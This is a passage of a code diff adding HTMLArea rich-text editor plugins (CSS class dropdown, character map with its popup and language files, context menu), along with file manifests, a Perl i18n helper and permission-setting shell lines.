+ find . -type d -exec chmod 755 {} \; ;
+ find . -type f -exec chmod 644 {} \; ;
+ find . -type f -name "*.cgi" -exec chmod 755 {} \; ;
+ ]]></shell>
+</files>
--- /dev/null
+// Simple CSS (className) plugin for the editor
+// Sponsored by http://www.miro.com.au
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo.
+//
+// (c) dynarch.com 2003
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: css.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+
+function CSS(editor, params) {
+ this.editor = editor;
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = CSS.I18N;
+ var plugin_config = params[0];
+ var combos = plugin_config.combos;
+
+ var first = true;
+ for (var i = combos.length; --i >= 0;) {
+ var combo = combos[i];
+ var id = "CSS-class" + i;
+ var css_class = {
+ id : id,
+ options : combo.options,
+ action : function(editor) { self.onSelect(editor, this, combo.context, combo.updatecontextclass); },
+ refresh : function(editor) { self.updateValue(editor, this); },
+ context : combo.context
+ };
+ cfg.registerDropdown(css_class);
+
+ // prepend to the toolbar
+ toolbar[1].splice(0, 0, first ? "separator" : "space");
+ toolbar[1].splice(0, 0, id);
+ if (combo.label)
+ toolbar[1].splice(0, 0, "T[" + combo.label + "]");
+ first = false;
+ }
+};
+
+CSS._pluginInfo = {
+ name : "CSS",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Miro International",
+ sponsor_url : "http://www.miro.com.au",
+ license : "htmlArea"
+};
+
+CSS.prototype.onSelect = function(editor, obj, context, updatecontextclass) {
+ var tbobj = editor._toolbarObjects[obj.id];
+ var index = tbobj.element.selectedIndex;
+ var className = tbobj.element.value;
+
+ // retrieve parent element of the selection
+ var parent = editor.getParentElement();
+ var surround = true;
+
+ var is_span = (parent && parent.tagName.toLowerCase() == "span");
+ var update_parent = (context && updatecontextclass && parent && parent.tagName.toLowerCase() == context);
+
+ if (update_parent) {
+ parent.className = className;
+ editor.updateToolbar();
+ return;
+ }
+
+ if (is_span && index == 0 && !/\S/.test(parent.style.cssText)) {
+ while (parent.firstChild) {
+ parent.parentNode.insertBefore(parent.firstChild, parent);
+ }
+ parent.parentNode.removeChild(parent);
+ editor.updateToolbar();
+ return;
+ }
+
+ if (is_span) {
+ // maybe we could simply change the class of the parent node?
+ if (parent.childNodes.length == 1) {
+ parent.className = className;
+ surround = false;
+ // in this case we should handle the toolbar updation
+ // ourselves.
+ editor.updateToolbar();
+ }
+ }
+
+ // Other possibilities could be checked but require a lot of code. We
+ // can't afford to do that now.
+ if (surround) {
+ // shit happens ;-) most of the time. this method works, but
+ // it's dangerous when selection spans multiple block-level
+ // elements.
+ editor.surroundHTML("<span class='" + className + "'>", "</span>");
+ }
+};
+
+CSS.prototype.updateValue = function(editor, obj) {
+ var select = editor._toolbarObjects[obj.id].element;
+ var parent = editor.getParentElement();
+ if (typeof parent.className != "undefined" && /\S/.test(parent.className)) {
+ var options = select.options;
+ var value = parent.className;
+ for (var i = options.length; --i >= 0;) {
+ var option = options[i];
+ if (value == option.value) {
+ select.selectedIndex = i;
+ return;
+ }
+ }
+ }
+ select.selectedIndex = 0;
+};
--- /dev/null
+// none yet; this file is a stub.
+CSS.I18N = {};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+// Character Map plugin for HTMLArea
+// Sponsored by http://www.systemconcept.de
+// Implementation by Holger Hees based on HTMLArea XTD 1.5 (http://mosforge.net/projects/htmlarea3xtd/)
+// Original Author - Bernhard Pfeifer novocaine@gmx.net
+//
+// (c) systemconcept.de 2004
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function CharacterMap(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = CharacterMap.I18N;
+
+ cfg.registerButton({
+ id : "insertcharacter",
+ tooltip : i18n["CharacterMapTooltip"],
+ image : editor.imgURL("ed_charmap.gif", "CharacterMap"),
+ textMode : false,
+ action : function(editor) {
+ self.buttonPress(editor);
+ }
+ })
+
+ var a, i, j, found = false;
+ for (i = 0; !found && i < toolbar.length; ++i) {
+ a = toolbar[i];
+ for (j = 0; j < a.length; ++j) {
+ if (a[j] == "inserthorizontalrule") {
+ found = true;
+ break;
+ }
+ }
+ }
+ if (found)
+ a.splice(j, 0, "insertcharacter");
+ else{
+ toolbar[1].splice(0, 0, "separator");
+ toolbar[1].splice(0, 0, "insertcharacter");
+ }
+};
+
+CharacterMap._pluginInfo = {
+ name : "CharacterMap",
+ version : "1.0",
+ developer : "Holger Hees & Bernhard Pfeifer",
+ developer_url : "http://www.systemconcept.de/",
+ c_owner : "Holger Hees & Bernhard Pfeifer",
+ sponsor : "System Concept GmbH & Bernhard Pfeifer",
+ sponsor_url : "http://www.systemconcept.de/",
+ license : "htmlArea"
+};
+
+CharacterMap.prototype.buttonPress = function(editor) {
+ editor._popupDialog( "plugin://CharacterMap/select_character", function( entity )
+ {
+ if ( !entity )
+ {
+ //user must have pressed Cancel
+ return false;
+ }
+
+ editor.insertHTML( entity );
+
+ }, null);
+}
+
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+// Sponsored by http://www.systemconcept.de
+// Author: Holger Hees, <hhees@systemconcept.de>
+//
+// (c) systemconcept.de 2004
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+CharacterMap.I18N = {
+ "CharacterMapTooltip" : "Sonderzeichen einfügen",
+ "Insert special character" : "Sonderzeichen einfügen",
+ "HTML value:" : "HTML Wert:",
+ "Cancel" : "Abbrechen"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Sponsored by http://www.systemconcept.de
+// Author: Holger Hees, <hhees@systemconcept.de>
+//
+// (c) systemconcept.de 2004
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+CharacterMap.I18N = {
+ "CharacterMapTooltip" : "Insert special character",
+ "Insert special character" : "Insert special character",
+ "HTML value:" : "HTML value:",
+ "Cancel" : "Cancel"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+ <dir name="popups" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+</files>
+
--- /dev/null
+<html>
+<head>
+<title>Insert special character</title>
+<style type="text/css">
+@import url(../../../htmlarea.css);
+td.character {
+ font-family: Verdana,Arial,Helvetica,sans-serif;
+ font-size: 14px;
+ font-weight: bold;
+ text-align: center;
+ background: #FFF;
+ padding: 4px;
+}
+
+td.character-hilite {
+ background: Highlight;
+ color: HighlightText;
+}
+
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+table .label { text-align: right; width: 8em; }
+
+.title { background: none; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+#buttons {
+ margin-top: 1em; border-top: 1px solid #999;
+ padding: 2px; text-align: right;
+}
+</style>
+<script type="text/javascript" src="../../../popups/popup.js"></script>
+<script type="text/javascript">
+// HTMLSource based on HTMLArea XTD 1.5 (http://mosforge.net/projects/htmlarea3xtd/) modified by Holger Hees
+// Original Author - Bernhard Pfeifer novocaine@gmx.net
+//opener = window.parent;
+if(window.opener != null)
+{
+ CharacterMap = window.opener.CharacterMap(opener.editor); // load the CharacterMap plugin and lang file ;-)
+}
+window.resizeTo(600, 350);
+// center on parent
+var x = 250;//opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+var y = 250;//opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+window.moveTo(x, y);
+window.resizeTo(600, 350);
+
+function _CloseOnEsc()
+{
+ if ( event.keyCode == 27 )
+ {
+ window.close();
+ return;
+ }
+}
+
+function Init() // run on page load
+{
+ //__dlg_translate(CharacterMap.I18N);
+ __dlg_init();
+ document.body.onkeypress = _CloseOnEsc;
+
+ var character = ''; // set default input to empty
+ View( null, character );
+}
+
+var oldView = null;
+function View( td, character ) // preview character
+{
+ if (oldView)
+ oldView.className = oldView.className.replace(/\s+character-hilite/, '');
+ document.getElementById( 'characterPreview' ).value = character;
+ document.getElementById( 'showCharacter' ).value = character;
+ if (td)
+ (oldView = td).className += " character-hilite";
+}
+
+function Set( string ) // return character
+{
+ var character = string;
+
+ __dlg_close( character );
+}
+
+function onCancel() // cancel selection
+{
+ __dlg_close( null );
+
+ return false;
+};
+
+</script>
+</head>
+<body style="background: Buttonface; margin: 0px; padding: 0px" onload="Init();self.focus();">
+<form method="get" style="margin:2px; padding:2px" onSubmit="Set(document.getElementById('showCharacter').value); return false;">
+<table border="0" cellspacing="0" cellpadding="4" width="100%">
+ <tr>
+ <td style="background: Buttonface" valign="center"><div style="padding: 1px; white-space: nowrap; font-family: tahoma,arial,sans-serif; font-size: 11px; font-weight: normal;">HTML value:<div id="characterPreview"></div></div></td>
+ <td style="background: Buttonface" valign="center"><input type="text" name="showcharacter" id="showCharacter" value="" size="15" style="background: #fff; font-size: 11px;" /></td>
+ <td style="background: Buttonface" width="100%"></td>
+ </tr>
+</table>
+</form>
+<table border="0" cellspacing="1" cellpadding="0" width="100%" style="cursor: pointer; background: #ADAD9C; border: 1px inset;">
+<tr>
+<td class="character" onMouseOver="View(this,'&Yuml;')" onClick="Set('Ÿ')">Ÿ</td>
+<td class="character" onMouseOver="View(this,'&scaron;')" onClick="Set('š')">š</td>
+<td class="character" onMouseOver="View(this,'&#064;')" onClick="Set('@')">@</td>
+<td class="character" onMouseOver="View(this,'&quot;')" onClick="Set('"')">"</td>
+<td class="character" onMouseOver="View(this,'&iexcl;')" onClick="Set('¡')">¡</td>
+<td class="character" onMouseOver="View(this,'&cent;')" onClick="Set('¢')">¢</td>
+<td class="character" onMouseOver="View(this,'&pound;')" onClick="Set('£')">£</td>
+<td class="character" onMouseOver="View(this,'&curren;')" onClick="Set('¤')">¤</td>
+<td class="character" onMouseOver="View(this,'&yen;')" onClick="Set('¥')">¥</td>
+<td class="character" onMouseOver="View(this,'&brvbar;')" onClick="Set('¦')">¦</td>
+<td class="character" onMouseOver="View(this,'&sect;')" onClick="Set('§')">§</td>
+<td class="character" onMouseOver="View(this,'&uml;')" onClick="Set('¨')">¨</td>
+<td class="character" onMouseOver="View(this,'&copy;')" onClick="Set('©')">©</td>
+<td class="character" onMouseOver="View(this,'&ordf;')" onClick="Set('ª')">ª</td>
+<td class="character" onMouseOver="View(this,'&laquo;')" onClick="Set('«')">«</td>
+<td class="character" onMouseOver="View(this,'&not;')" onClick="Set('¬')">¬</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&macr;')" onClick="Set('¯')">¯</td>
+<td class="character" onMouseOver="View(this,'&deg;')" onClick="Set('°')">°</td>
+<td class="character" onMouseOver="View(this,'&plusmn;')" onClick="Set('±')">±</td>
+<td class="character" onMouseOver="View(this,'&sup2;')" onClick="Set('²')">²</td>
+<td class="character" onMouseOver="View(this,'&sup3;')" onClick="Set('³')">³</td>
+<td class="character" onMouseOver="View(this,'&acute;')" onClick="Set('´')">´</td>
+<td class="character" onMouseOver="View(this,'&micro;')" onClick="Set('µ')">µ</td>
+<td class="character" onMouseOver="View(this,'&para;')" onClick="Set('¶')">¶</td>
+<td class="character" onMouseOver="View(this,'&middot;')" onClick="Set('·')">·</td>
+<td class="character" onMouseOver="View(this,'&cedil;')" onClick="Set('¸')">¸</td>
+<td class="character" onMouseOver="View(this,'&sup1;')" onClick="Set('¹')">¹</td>
+<td class="character" onMouseOver="View(this,'&ordm;')" onClick="Set('º')">º</td>
+<td class="character" onMouseOver="View(this,'&raquo;')" onClick="Set('»')">»</td>
+<td class="character" onMouseOver="View(this,'&frac14;')" onClick="Set('¼')">¼</td>
+<td class="character" onMouseOver="View(this,'&frac12;')" onClick="Set('½')">½</td>
+<td class="character" onMouseOver="View(this,'&frac34;')" onClick="Set('¾')">¾</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&iquest;')" onClick="Set('¿')">¿</td>
+<td class="character" onMouseOver="View(this,'&times;')" onClick="Set('×')">×</td>
+<td class="character" onMouseOver="View(this,'&Oslash;')" onClick="Set('Ø')">Ø</td>
+<td class="character" onMouseOver="View(this,'&divide;')" onClick="Set('÷')">÷</td>
+<td class="character" onMouseOver="View(this,'&oslash;')" onClick="Set('ø')">ø</td>
+<td class="character" onMouseOver="View(this,'&fnof;')" onClick="Set('ƒ')">ƒ</td>
+<td class="character" onMouseOver="View(this,'&circ;')" onClick="Set('ˆ')">ˆ</td>
+<td class="character" onMouseOver="View(this,'&tilde;')" onClick="Set('˜')">˜</td>
+<td class="character" onMouseOver="View(this,'&ndash;')" onClick="Set('–')">–</td>
+<td class="character" onMouseOver="View(this,'&mdash;')" onClick="Set('—')">—</td>
+<td class="character" onMouseOver="View(this,'&lsquo;')" onClick="Set('‘')">‘</td>
+<td class="character" onMouseOver="View(this,'&rsquo;')" onClick="Set('’')">’</td>
+<td class="character" onMouseOver="View(this,'&sbquo;')" onClick="Set('‚')">‚</td>
+<td class="character" onMouseOver="View(this,'&ldquo;')" onClick="Set('“')">“</td>
+<td class="character" onMouseOver="View(this,'&rdquo;')" onClick="Set('”')">”</td>
+<td class="character" onMouseOver="View(this,'&bdquo;')" onClick="Set('„')">„</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&dagger;')" onClick="Set('†')">†</td>
+<td class="character" onMouseOver="View(this,'&Dagger;')" onClick="Set('‡')">‡</td>
+<td class="character" onMouseOver="View(this,'&bull;')" onClick="Set('•')">•</td>
+<td class="character" onMouseOver="View(this,'&hellip;')" onClick="Set('…')">…</td>
+<td class="character" onMouseOver="View(this,'&permil;')" onClick="Set('‰')">‰</td>
+<td class="character" onMouseOver="View(this,'&lsaquo;')" onClick="Set('‹')">‹</td>
+<td class="character" onMouseOver="View(this,'&rsaquo;')" onClick="Set('›')">›</td>
+<td class="character" onMouseOver="View(this,'&euro;')" onClick="Set('€')">€</td>
+<td class="character" onMouseOver="View(this,'&trade;')" onClick="Set('™')">™</td>
+<td class="character" onMouseOver="View(this,'&Agrave;')" onClick="Set('À')">À</td>
+<td class="character" onMouseOver="View(this,'&Aacute;')" onClick="Set('Á')">Á</td>
+<td class="character" onMouseOver="View(this,'&Acirc;')" onClick="Set('Â')">Â</td>
+<td class="character" onMouseOver="View(this,'&Atilde;')" onClick="Set('Ã')">Ã</td>
+<td class="character" onMouseOver="View(this,'&Auml;')" onClick="Set('Ä')">Ä</td>
+<td class="character" onMouseOver="View(this,'&Aring;')" onClick="Set('Å')">Å</td>
+<td class="character" onMouseOver="View(this,'&AElig;')" onClick="Set('Æ')">Æ</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&Ccedil;')" onClick="Set('Ç')">Ç</td>
+<td class="character" onMouseOver="View(this,'&Egrave;')" onClick="Set('È')">È</td>
+<td class="character" onMouseOver="View(this,'&Eacute;')" onClick="Set('É')">É</td>
+<td class="character" onMouseOver="View(this,'&Ecirc;')" onClick="Set('Ê')">Ê</td>
+<td class="character" onMouseOver="View(this,'&Euml;')" onClick="Set('Ë')">Ë</td>
+<td class="character" onMouseOver="View(this,'&Igrave;')" onClick="Set('Ì')">Ì</td>
+<td class="character" onMouseOver="View(this,'&Iacute;')" onClick="Set('Í')">Í</td>
+<td class="character" onMouseOver="View(this,'&Icirc;')" onClick="Set('Î')">Î</td>
+<td class="character" onMouseOver="View(this,'&Iuml;')" onClick="Set('Ï')">Ï</td>
+<td class="character" onMouseOver="View(this,'&ETH;')" onClick="Set('Ð')">Ð</td>
+<td class="character" onMouseOver="View(this,'&Ntilde;')" onClick="Set('Ñ')">Ñ</td>
+<td class="character" onMouseOver="View(this,'&Ograve;')" onClick="Set('Ò')">Ò</td>
+<td class="character" onMouseOver="View(this,'&Oacute;')" onClick="Set('Ó')">Ó</td>
+<td class="character" onMouseOver="View(this,'&Ocirc;')" onClick="Set('Ô')">Ô</td>
+<td class="character" onMouseOver="View(this,'&Otilde;')" onClick="Set('Õ')">Õ</td>
+<td class="character" onMouseOver="View(this,'&Ouml;')" onClick="Set('Ö')">Ö</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&reg;')" onClick="Set('®')">®</td>
+<td class="character" onMouseOver="View(this,'&times;')" onClick="Set('×')">×</td>
+<td class="character" onMouseOver="View(this,'&Ugrave;')" onClick="Set('Ù')">Ù</td>
+<td class="character" onMouseOver="View(this,'&Uacute;')" onClick="Set('Ú')">Ú</td>
+<td class="character" onMouseOver="View(this,'&Ucirc;')" onClick="Set('Û')">Û</td>
+<td class="character" onMouseOver="View(this,'&Uuml;')" onClick="Set('Ü')">Ü</td>
+<td class="character" onMouseOver="View(this,'&Yacute;')" onClick="Set('Ý')">Ý</td>
+<td class="character" onMouseOver="View(this,'&THORN;')" onClick="Set('Þ')">Þ</td>
+<td class="character" onMouseOver="View(this,'&szlig;')" onClick="Set('ß')">ß</td>
+<td class="character" onMouseOver="View(this,'&agrave;')" onClick="Set('à')">à</td>
+<td class="character" onMouseOver="View(this,'&aacute;')" onClick="Set('á')">á</td>
+<td class="character" onMouseOver="View(this,'&acirc;')" onClick="Set('â')">â</td>
+<td class="character" onMouseOver="View(this,'&atilde;')" onClick="Set('ã')">ã</td>
+<td class="character" onMouseOver="View(this,'&auml;')" onClick="Set('ä')">ä</td>
+<td class="character" onMouseOver="View(this,'&aring;')" onClick="Set('å')">å</td>
+<td class="character" onMouseOver="View(this,'&aelig;')" onClick="Set('æ')">æ</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&ccedil;')" onClick="Set('ç')">ç</td>
+<td class="character" onMouseOver="View(this,'&egrave;')" onClick="Set('è')">è</td>
+<td class="character" onMouseOver="View(this,'&eacute;')" onClick="Set('é')">é</td>
+<td class="character" onMouseOver="View(this,'&ecirc;')" onClick="Set('ê')">ê</td>
+<td class="character" onMouseOver="View(this,'&euml;')" onClick="Set('ë')">ë</td>
+<td class="character" onMouseOver="View(this,'&igrave;')" onClick="Set('ì')">ì</td>
+<td class="character" onMouseOver="View(this,'&iacute;')" onClick="Set('í')">í</td>
+<td class="character" onMouseOver="View(this,'&icirc;')" onClick="Set('î')">î</td>
+<td class="character" onMouseOver="View(this,'&iuml;')" onClick="Set('ï')">ï</td>
+<td class="character" onMouseOver="View(this,'&eth;')" onClick="Set('ð')">ð</td>
+<td class="character" onMouseOver="View(this,'&ntilde;')" onClick="Set('ñ')">ñ</td>
+<td class="character" onMouseOver="View(this,'&ograve;')" onClick="Set('ò')">ò</td>
+<td class="character" onMouseOver="View(this,'&oacute;')" onClick="Set('ó')">ó</td>
+<td class="character" onMouseOver="View(this,'&ocirc;')" onClick="Set('ô')">ô</td>
+<td class="character" onMouseOver="View(this,'&otilde;')" onClick="Set('õ')">õ</td>
+<td class="character" onMouseOver="View(this,'&ouml;')" onClick="Set('ö')">ö</td>
+</tr><tr>
+<td class="character" onMouseOver="View(this,'&divide;')" onClick="Set('÷')">÷</td>
+<td class="character" onMouseOver="View(this,'&oslash;')" onClick="Set('ø')">ø</td>
+<td class="character" onMouseOver="View(this,'&ugrave;')" onClick="Set('ù')">ù</td>
+<td class="character" onMouseOver="View(this,'&uacute;')" onClick="Set('ú')">ú</td>
+<td class="character" onMouseOver="View(this,'&ucirc;')" onClick="Set('û')">û</td>
+<td class="character" onMouseOver="View(this,'&uuml;')" onClick="Set('ü')">ü</td>
+<td class="character" onMouseOver="View(this,'&yacute;')" onClick="Set('ý')">ý</td>
+<td class="character" onMouseOver="View(this,'&thorn;')" onClick="Set('þ')">þ</td>
+<td class="character" onMouseOver="View(this,'&yuml;')" onClick="Set('ÿ')">ÿ</td>
+<td class="character" onMouseOver="View(this,'&OElig;')" onClick="Set('Œ')">Œ</td>
+<td class="character" onMouseOver="View(this,'&oelig;')" onClick="Set('œ')">œ</td>
+<td class="character" onMouseOver="View(this,'&Scaron;')" onClick="Set('Š')">Š</td>
+<td class="character"> </td>
+<td class="character"> </td>
+<td class="character"> </td>
+<td class="character"> </td>
+</table><br />
+<form style="text-align: center;"><button type="button" name="cancel" onclick="return onCancel();" class="submitInsertTable">Cancel</button></form>
+<script type="text/javascript">
+
+window.resizeTo(600, 350);
+</script>
+</body>
+</html>
--- /dev/null
+#! /usr/bin/perl -w
+
+use strict;
+
+my $file = 'context-menu.js';
+my $outfile = $file.'-i18n';
+my $langfile = 'en.js';
+
+open FILE, "<$file";
+#open OUTFILE, ">$outfile";
+#open LANGFILE, ">$langfile";
+my %texts = ();
+while (<FILE>) {
+ if (/"(.*?)"/) {
+ my $inline = $_;
+ chomp $inline;
+ my $key = $1;
+ my $val = $1;
+ print "Key: [$key]: ";
+ my $line = <STDIN>;
+ if (defined $line) {
+ chomp $line;
+ if ($line =~ /(\S+)/) {
+ $key = $1;
+ print "-- using $key\n";
+ }
+ $texts{$val} = $key;
+ } else {
+ print " -- skipped...\n";
+ }
+ }
+}
+#close LANGFILE;
+#close OUTFILE;
+close FILE;
+
+print "\n\n\n";
+print '"', join("\"\n\"", sort keys %texts), '"', "\n";
--- /dev/null
+// Context Menu Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: context-menu.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+
+HTMLArea.loadStyle("menu.css", "ContextMenu");
+
+function ContextMenu(editor) {
+ this.editor = editor;
+};
+
+ContextMenu._pluginInfo = {
+ name : "ContextMenu",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "dynarch.com",
+ sponsor : "American Bible Society",
+ sponsor_url : "http://www.americanbible.org",
+ license : "htmlArea"
+};
+
+ContextMenu.prototype.onGenerate = function() {
+ var self = this;
+ var doc = this.editordoc = this.editor._iframe.contentWindow.document;
+ HTMLArea._addEvents(doc, ["contextmenu"],
+ function (event) {
+ return self.popupMenu(HTMLArea.is_ie ? self.editor._iframe.contentWindow.event : event);
+ });
+ this.currentMenu = null;
+};
+
+ContextMenu.prototype.getContextMenu = function(target) {
+ var self = this;
+ var editor = this.editor;
+ var config = editor.config;
+ var menu = [];
+ var tbo = this.editor.plugins.TableOperations;
+ if (tbo) tbo = tbo.instance;
+ var i18n = ContextMenu.I18N;
+
+ var selection = editor.hasSelectedText();
+ if (selection)
+ menu.push([ i18n["Cut"], function() { editor.execCommand("cut"); }, null, config.btnList["cut"][1] ],
+ [ i18n["Copy"], function() { editor.execCommand("copy"); }, null, config.btnList["copy"][1] ]);
+ menu.push([ i18n["Paste"], function() { editor.execCommand("paste"); }, null, config.btnList["paste"][1] ]);
+
+ var currentTarget = target;
+ var elmenus = [];
+
+ var link = null;
+ var table = null;
+ var tr = null;
+ var td = null;
+ var img = null;
+
+ function tableOperation(opcode) {
+ tbo.buttonPress(editor, opcode);
+ };
+
+ for (; target; target = target.parentNode) {
+ var tag = target.tagName;
+ if (!tag)
+ continue;
+ tag = tag.toLowerCase();
+ switch (tag) {
+ case "img":
+ img = target;
+ elmenus.push(null,
+ [ i18n["Image Properties"],
+ function() {
+ editor._insertImage(img);
+ },
+ i18n["Show the image properties dialog"],
+ config.btnList["insertimage"][1] ]
+ );
+ break;
+ case "a":
+ link = target;
+ elmenus.push(null,
+ [ i18n["Modify Link"],
+ function() { editor.execCommand("createlink", true, link.href); },
+ i18n["Current URL is"] + ': ' + link.href,
+ config.btnList["createlink"][1] ],
+
+ [ i18n["Check Link"],
+ function() { window.open(link.href); },
+ i18n["Opens this link in a new window"] ],
+
+ [ i18n["Remove Link"],
+ function() {
+ if (confirm(i18n["Please confirm that you want to unlink this element."] + "\n" +
+ i18n["Link points to:"] + " " + link.href)) {
+ while (link.firstChild)
+ link.parentNode.insertBefore(link.firstChild, link);
+ link.parentNode.removeChild(link);
+ }
+ },
+ i18n["Unlink the current element"] ]
+ );
+ break;
+ case "td":
+ td = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Cell Properties"],
+ function() { tableOperation("TO-cell-prop"); },
+ i18n["Show the Table Cell Properties dialog"],
+ config.btnList["TO-cell-prop"][1] ]
+ );
+ break;
+ case "tr":
+ tr = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Row Properties"],
+ function() { tableOperation("TO-row-prop"); },
+ i18n["Show the Table Row Properties dialog"],
+ config.btnList["TO-row-prop"][1] ],
+
+ [ i18n["Insert Row Before"],
+ function() { tableOperation("TO-row-insert-above"); },
+ i18n["Insert a new row before the current one"],
+ config.btnList["TO-row-insert-above"][1] ],
+
+ [ i18n["Insert Row After"],
+ function() { tableOperation("TO-row-insert-under"); },
+ i18n["Insert a new row after the current one"],
+ config.btnList["TO-row-insert-under"][1] ],
+
+ [ i18n["Delete Row"],
+ function() { tableOperation("TO-row-delete"); },
+ i18n["Delete the current row"],
+ config.btnList["TO-row-delete"][1] ]
+ );
+ break;
+ case "table":
+ table = target;
+ if (!tbo) break;
+ elmenus.push(null,
+ [ i18n["Table Properties"],
+ function() { tableOperation("TO-table-prop"); },
+ i18n["Show the Table Properties dialog"],
+ config.btnList["TO-table-prop"][1] ],
+
+ [ i18n["Insert Column Before"],
+ function() { tableOperation("TO-col-insert-before"); },
+ i18n["Insert a new column before the current one"],
+ config.btnList["TO-col-insert-before"][1] ],
+
+ [ i18n["Insert Column After"],
+ function() { tableOperation("TO-col-insert-after"); },
+ i18n["Insert a new column after the current one"],
+ config.btnList["TO-col-insert-after"][1] ],
+
+ [ i18n["Delete Column"],
+ function() { tableOperation("TO-col-delete"); },
+ i18n["Delete the current column"],
+ config.btnList["TO-col-delete"][1] ]
+ );
+ break;
+ case "body":
+ elmenus.push(null,
+ [ i18n["Justify Left"],
+ function() { editor.execCommand("justifyleft"); }, null,
+ config.btnList["justifyleft"][1] ],
+ [ i18n["Justify Center"],
+ function() { editor.execCommand("justifycenter"); }, null,
+ config.btnList["justifycenter"][1] ],
+ [ i18n["Justify Right"],
+ function() { editor.execCommand("justifyright"); }, null,
+ config.btnList["justifyright"][1] ],
+ [ i18n["Justify Full"],
+ function() { editor.execCommand("justifyfull"); }, null,
+ config.btnList["justifyfull"][1] ]
+ );
+ break;
+ }
+ }
+
+ if (selection && !link)
+ menu.push(null, [ i18n["Make link"],
+ function() { editor.execCommand("createlink", true); },
+ i18n["Create a link"],
+ config.btnList["createlink"][1] ]);
+
+ for (var i in elmenus)
+ menu.push(elmenus[i]);
+
+ menu.push(null,
+ [ i18n["Remove the"] + " <" + currentTarget.tagName + "> " + i18n["Element"],
+ function() {
+ if (confirm(i18n["Please confirm that you want to remove this element:"] + " " + currentTarget.tagName)) {
+ var el = currentTarget;
+ var p = el.parentNode;
+ p.removeChild(el);
+ if (HTMLArea.is_gecko) {
+ if (p.tagName.toLowerCase() == "td" && !p.hasChildNodes())
+ p.appendChild(editor._doc.createElement("br"));
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ if (table) {
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ }
+ }
+ }
+ },
+ i18n["Remove this node from the document"] ]);
+ return menu;
+};
+
+ContextMenu.prototype.popupMenu = function(ev) {
+ var self = this;
+ var i18n = ContextMenu.I18N;
+ if (this.currentMenu)
+ this.currentMenu.parentNode.removeChild(this.currentMenu);
+ function getPos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getPos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+ };
+ function documentClick(ev) {
+ ev || (ev = window.event);
+ if (!self.currentMenu) {
+ alert(i18n["How did you get here? (Please report!)"]);
+ return false;
+ }
+ var el = HTMLArea.is_ie ? ev.srcElement : ev.target;
+ for (; el != null && el != self.currentMenu; el = el.parentNode);
+ if (el == null)
+ self.closeMenu();
+ //HTMLArea._stopEvent(ev);
+ //return false;
+ };
+ var keys = [];
+ function keyPress(ev) {
+ ev || (ev = window.event);
+ HTMLArea._stopEvent(ev);
+ if (ev.keyCode == 27) {
+ self.closeMenu();
+ return false;
+ }
+ var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+ for (var i = keys.length; --i >= 0;) {
+ var k = keys[i];
+ if (k[0].toLowerCase() == key)
+ k[1].__msh.activate();
+ }
+ };
+ self.closeMenu = function() {
+ self.currentMenu.parentNode.removeChild(self.currentMenu);
+ self.currentMenu = null;
+ HTMLArea._removeEvent(document, "mousedown", documentClick);
+ HTMLArea._removeEvent(self.editordoc, "mousedown", documentClick);
+ if (keys.length > 0)
+ HTMLArea._removeEvent(self.editordoc, "keypress", keyPress);
